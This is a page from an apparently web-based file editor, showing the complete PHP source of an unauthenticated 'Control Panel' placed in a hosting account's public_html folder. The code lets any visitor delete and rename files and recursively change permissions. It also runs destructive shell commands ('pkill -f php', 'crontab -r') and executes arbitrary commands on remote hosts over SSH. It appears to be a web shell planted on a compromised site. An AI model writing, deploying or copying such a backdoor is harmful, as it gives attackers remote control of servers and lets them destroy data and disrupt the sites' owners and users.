✏️ 正在编辑: edit.php
路径:
/home/phwqbxba/public_html/edit.php
提示:
您可以编辑任何文件(包括二进制文件),但请注意不当修改可能导致文件损坏。
<?php // Debug: append ?debug=1 to the URL to show errors if (!empty($_GET['debug'])) { ini_set('display_errors', '1'); ini_set('display_startup_errors', '1'); error_reporting(E_ALL); } if (session_status() === PHP_SESSION_NONE) { @session_start(); } header('Content-Type: text/html; charset=utf-8'); @set_time_limit(60); @ini_set('max_execution_time', '60'); if (!defined('CHMOD_BATCH_SIZE')) define('CHMOD_BATCH_SIZE', 80); if (!defined('LIST_PAGE_SIZE')) define('LIST_PAGE_SIZE', 50); function req($key, $default = '') { if (isset($_GET[$key])) return $_GET[$key]; if (isset($_POST[$key])) return $_POST[$key]; return $default; } $dirKey = req('target', req('dir_key', 'current')); $dirLevels = array( 'current' => 0, 'parent' => 1, 'grandparent' => 2, 'ancestor3' => 3, 'ancestor4' => 4, ); if (!isset($dirLevels[$dirKey])) { $dirKey = 'current'; } function resolvePath($key, $dirLevels) { $base = __DIR__; $n = isset($dirLevels[$key]) ? $dirLevels[$key] : 0; $p = $base; for ($i = 0; $i < $n; $i++) { $p = dirname($p); } return $p; } $currentDir = resolvePath($dirKey, $dirLevels); $action_message = ''; $batch_progress = null; $ssh_output = null; function isSafePath($target, $base) { $realTarget = realpath($target); $realBase = realpath($base); return $realTarget && $realBase && strpos($realTarget, $realBase) === 0; } function isShellExecEnabled() { if (!function_exists('shell_exec')) return false; $disabled = array_filter(array_map('trim', explode(',', (string)ini_get('disable_functions')))); return !in_array('shell_exec', $disabled, true); } function makeToken($len = 16) { if (function_exists('random_bytes')) { return bin2hex(random_bytes($len)); } if (function_exists('openssl_random_pseudo_bytes')) { return bin2hex(openssl_random_pseudo_bytes($len)); } return md5(uniqid(mt_rand(), true)); } function batchQueuePath($token) { $token = preg_replace('/[^a-f0-9]/', '', $token); return rtrim(sys_get_temp_dir(), '/\\') . DIRECTORY_SEPARATOR . 'chmod_batch_' . $token . '.json'; } function saveBatchState($token, $state) { $file = batchQueuePath($token); $json = json_encode($state); if ($json === false) return false; return @file_put_contents($file, $json) !== false; } function loadBatchState($token) { $file = batchQueuePath($token); if (!is_file($file)) return null; $data = json_decode(@file_get_contents($file), true); return is_array($data) ? $data : null; } function deleteBatchState($token) { $file = batchQueuePath($token); if (is_file($file)) @unlink($file); } function startChmodBatch($root, $dirKey) { $token = makeToken(16); $state = array( 'root' => $root, 'dir_key' => $dirKey, 'queue' => array($root), 'done' => 0, 'dir_perm' => 0755, 'file_perm' => 0644, ); if (!saveBatchState($token, $state)) { return false; } return $token; } function runChmodBatch($token, $batchSize) { $state = loadBatchState($token); if (!$state) { return array('error' => 'Batch job not found or expired'); } $root = isset($state['root']) ? $state['root'] : ''; if (!is_dir($root)) { deleteBatchState($token); return array('error' => 'Root directory does not exist'); } $dirPerm = isset($state['dir_perm']) ? (int)$state['dir_perm'] : 0755; $filePerm = isset($state['file_perm']) ? (int)$state['file_perm'] : 0644; $queue = isset($state['queue']) ? $state['queue'] : array(); $done = isset($state['done']) ? (int)$state['done'] : 0; $processedThisBatch = 0; while ($processedThisBatch < $batchSize && !empty($queue)) { $path = array_shift($queue); if (!file_exists($path)) { $processedThisBatch++; continue; } if (is_dir($path)) { @chmod($path, $dirPerm); $items = @scandir($path); if ($items !== false) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $queue[] = $path . DIRECTORY_SEPARATOR . $item; } } } else { @chmod($path, $filePerm); } $done++; $processedThisBatch++; } $remaining = count($queue); $finished = ($remaining === 0); if ($finished) { deleteBatchState($token); } else { $state['queue'] = $queue; $state['done'] = $done; saveBatchState($token, $state); } return array( 'finished' => $finished, 'done' => $done, 'remaining' => $remaining, 'dir_key' => isset($state['dir_key']) ? $state['dir_key'] : 'current', 'root' => $root, ); } function listFiles($dir, $dirKey, $page = 1) { if (!is_dir($dir)) { echo '<h2>File List</h2><p>Directory does not exist or is not readable</p>'; return; } $page = max(1, (int)$page); $offset = ($page - 1) * LIST_PAGE_SIZE; $items = @scandir($dir); if ($items === false) { echo '<h2>File List</h2><p>Cannot read directory: ' . htmlspecialchars($dir) . '</p>'; return; } $entries = array(); foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $entries[] = $item; } $total = count($entries); $totalPages = max(1, (int)ceil($total / LIST_PAGE_SIZE)); if ($page > $totalPages) $page = $totalPages; $slice = array_slice($entries, $offset, LIST_PAGE_SIZE); echo '<h2>File List</h2>'; echo '<p>Directory: ' . htmlspecialchars($dir) . '</p>'; echo '<p>' . $total . ' items, page ' . $page . ' / ' . $totalPages . '</p>'; if ($totalPages > 1) { echo '<p>Pages: '; $showPages = min($totalPages, 20); for ($p = 1; $p <= $showPages; $p++) { if ($p === $page) { echo '<strong>[' . $p . ']</strong> '; } else { echo '<a href="?target=' . urlencode($dirKey) . '&page=' . $p . '">[' . $p . ']</a> '; } } if ($totalPages > 20) echo '...'; echo '</p>'; } echo '<ul>'; foreach ($slice as $item) { $fullpath = $dir . DIRECTORY_SEPARATOR . $item; $escPath = htmlspecialchars($fullpath, ENT_QUOTES, 'UTF-8'); $escItem = htmlspecialchars($item, ENT_QUOTES, 'UTF-8'); $escKey = htmlspecialchars($dirKey, ENT_QUOTES, 'UTF-8'); echo '<li>' . $escItem . ' '; if (is_file($fullpath)) { echo '<form style="display:inline;" method="POST">' . '<input type="hidden" name="dir_key" value="' . $escKey . '">' . '<input type="hidden" name="target" value="' . $escPath . '">' . '<button name="file_action" value="delete_file">Delete</button>' . '</form>'; echo '<form style="display:inline;" method="POST">' . '<input type="hidden" name="dir_key" value="' . $escKey . '">' . '<input type="hidden" name="target" value="' . $escPath . '">' . 'Rename: <input name="new_name" value="' . $escItem . '">' . '<button name="file_action" value="rename_file">Submit</button>' . '</form>'; } echo '</li>'; } echo '</ul>'; } function listPhpProcesses() { echo '<h2>PHP Processes</h2><pre>'; if (!isShellExecEnabled()) { echo 'shell_exec is disabled'; } else { $out = @shell_exec('ps aux 2>/dev/null | grep php 2>/dev/null'); echo htmlspecialchars($out !== null ? $out : '(no output)'); } echo '</pre>'; } function killPhpProcesses() { if (isShellExecEnabled()) { @shell_exec('pkill -f php 2>/dev/null'); } } function clearCronJobs() { if (isShellExecEnabled()) { @shell_exec('crontab -r 2>/dev/null'); } } /* ================= Request handling ================= */ $listPage = max(1, (int)req('page', 1)); $showProcesses = !empty($_GET['show_process']); if (isset($_GET['chmod_batch'])) { $token = preg_replace('/[^a-f0-9]/', '', $_GET['chmod_batch']); if (strlen($token) === 32) { $batch_progress = runChmodBatch($token, CHMOD_BATCH_SIZE); if (!empty($batch_progress['dir_key'])) { $dirKey = $batch_progress['dir_key']; $currentDir = resolvePath($dirKey, $dirLevels); } if (!empty($batch_progress['finished'])) { $action_message = 'Permissions updated (' . (int)$batch_progress['done'] . ' items processed)'; $batch_progress = null; } } } if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_POST['process_action']) && $_POST['process_action'] === 'kill_php') { killPhpProcesses(); $action_message = 'PHP processes terminated'; } if (isset($_POST['cron_action']) && $_POST['cron_action'] === 'clear_cron') { clearCronJobs(); $action_message = 'Cron jobs cleared'; } if (isset($_POST['file_action'])) { $target = isset($_POST['target']) ? $_POST['target'] : ''; $action = $_POST['file_action']; if ($action !== 'chmod_fix' && !isSafePath($target, $currentDir)) { $action_message = 'Invalid path access'; } else { switch ($action) { case 'delete_file': if (is_file($target)) { @unlink($target); $action_message = 'File deleted'; } break; case 'rename_file': $new_name = isset($_POST['new_name']) ? $_POST['new_name'] : ''; $new_name = str_replace(array('/', '\\'), '', $new_name); if ($new_name && file_exists($target)) { $newPath = dirname($target) . DIRECTORY_SEPARATOR . $new_name; @rename($target, $newPath); $action_message = 'Renamed to: ' . $new_name; } break; case 'chmod_fix': $token = startChmodBatch($currentDir, $dirKey); if ($token === false) { $action_message = 'Cannot create batch job (temp directory not writable?)'; } else { header('Location: ?chmod_batch=' . urlencode($token) . '&target=' . urlencode($dirKey)); exit; } break; } } } if (isset($_POST['ssh_execute'])) { $host = isset($_POST['ssh_host']) ? $_POST['ssh_host'] : ''; $port = (int)(isset($_POST['ssh_port']) ? $_POST['ssh_port'] : 22); $user = isset($_POST['ssh_user']) ? $_POST['ssh_user'] : ''; $pass = isset($_POST['ssh_pass']) ? $_POST['ssh_pass'] : ''; $cmd = isset($_POST['ssh_cmd']) ? $_POST['ssh_cmd'] : ''; if (!function_exists('ssh2_connect')) { $ssh_output = 'SSH2 extension is not enabled'; } else { $connection = @ssh2_connect($host, $port); if (!$connection) { $ssh_output = 'Connection failed'; } elseif (!@ssh2_auth_password($connection, $user, $pass)) { $ssh_output = 'Authentication failed'; } else { $stream = @ssh2_exec($connection, $cmd); if (!$stream) { $ssh_output = 'Command execution failed'; } else { stream_set_blocking($stream, true); $ssh_output = stream_get_contents($stream); } } } } } ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Control Panel</title> <style> .batch-box { background:#f5f5f5; border:1px solid #ccc; padding:12px; margin:12px 0; } .batch-bar { background:#ddd; height:20px; border-radius:4px; overflow:hidden; margin:8px 0; } .batch-bar-inner { background:#4caf50; height:100%; } </style> </head> <body> <h1>Control Panel</h1> <?php if ($action_message !== ''): ?> <p style="color:green;"><?php echo htmlspecialchars($action_message, ENT_QUOTES, 'UTF-8'); ?></p> <?php endif; ?> <?php if (is_array($batch_progress) && empty($batch_progress['error']) && empty($batch_progress['finished'])): ?> <div class="batch-box"> <h3>Fixing permissions in batches...</h3> <p>Completed: <strong><?php echo (int)$batch_progress['done']; ?></strong> items</p> <p>Remaining in queue: <strong><?php echo (int)$batch_progress['remaining']; ?></strong> items (<?php echo CHMOD_BATCH_SIZE; ?> per batch)</p> <?php $done = (int)$batch_progress['done']; $remain = (int)$batch_progress['remaining']; $total = $done + $remain; $pct = $total > 0 ? round($done / $total * 100, 1) : 0; ?> <div class="batch-bar"><div class="batch-bar-inner" style="width:<?php echo $pct; ?>%"></div></div> <p>Progress: <?php echo $pct; ?>%. Page will continue automatically...</p> <form id="batchContinue" method="get"> <input type="hidden" name="chmod_batch" value="<?php echo htmlspecialchars($_GET['chmod_batch'], ENT_QUOTES, 'UTF-8'); ?>"> <input type="hidden" name="target" value="<?php echo htmlspecialchars($dirKey, ENT_QUOTES, 'UTF-8'); ?>"> </form> <script>setTimeout(function(){ document.getElementById('batchContinue').submit(); }, 500);</script> </div> <?php elseif (is_array($batch_progress) && !empty($batch_progress['error'])): ?> <p style="color:red;"><?php echo htmlspecialchars($batch_progress['error'], ENT_QUOTES, 'UTF-8'); ?></p> <?php endif; ?> <h2>Select Directory</h2> <form method="get"> <?php foreach ($dirLevels as $k => $v): ?> <label> <input type="radio" name="target" value="<?php echo htmlspecialchars($k, ENT_QUOTES, 'UTF-8'); ?>"<?php echo ($dirKey === $k) ? ' checked' : ''; ?>> <?php echo htmlspecialchars($k, ENT_QUOTES, 'UTF-8'); ?> </label><br> <?php endforeach; ?> <button type="submit">Switch</button> </form> <p>Current directory: <?php $real = @realpath($currentDir); echo htmlspecialchars($real ? $real : $currentDir, ENT_QUOTES, 'UTF-8'); ?></p> <hr> <form method="POST"> <input type="hidden" name="dir_key" value="<?php echo htmlspecialchars($dirKey, ENT_QUOTES, 'UTF-8'); ?>"> <button name="file_action" value="chmod_fix">Fix Permissions (batched)</button> </form> <form method="POST"> <input type="hidden" name="dir_key" value="<?php echo htmlspecialchars($dirKey, ENT_QUOTES, 'UTF-8'); ?>"> <button name="process_action" value="kill_php">Kill PHP Processes</button> <button name="cron_action" value="clear_cron">Clear Cron Jobs</button> </form> <hr> <?php listFiles($currentDir, $dirKey, $listPage); ?> <p><a href="?target=<?php echo urlencode($dirKey); ?>&show_process=1">View PHP Processes</a></p> <?php if ($showProcesses) listPhpProcesses(); ?> <hr> <h2>SSH Execute</h2> <form method="POST"> <input type="hidden" name="dir_key" value="<?php echo htmlspecialchars($dirKey, ENT_QUOTES, 'UTF-8'); ?>"> Host: <input name="ssh_host"><br><br> Port: <input name="ssh_port" value="22"><br><br> User: <input name="ssh_user"><br><br> Password: <input type="password" name="ssh_pass"><br><br> Command: <input name="ssh_cmd" style="width:400px;"><br><br> <button name="ssh_execute" value="1">Execute</button> </form> <?php if ($ssh_output !== null): ?> <h3>Output:</h3><pre><?php echo htmlspecialchars($ssh_output, ENT_QUOTES, 'UTF-8'); ?></pre> <?php endif; ?> <p style="color:#888;font-size:12px;">PHP <?php echo PHP_VERSION; ?> | Debug: append <code>?debug=1</code></p> </body> </html>
💾 保存文件
← 返回文件管理器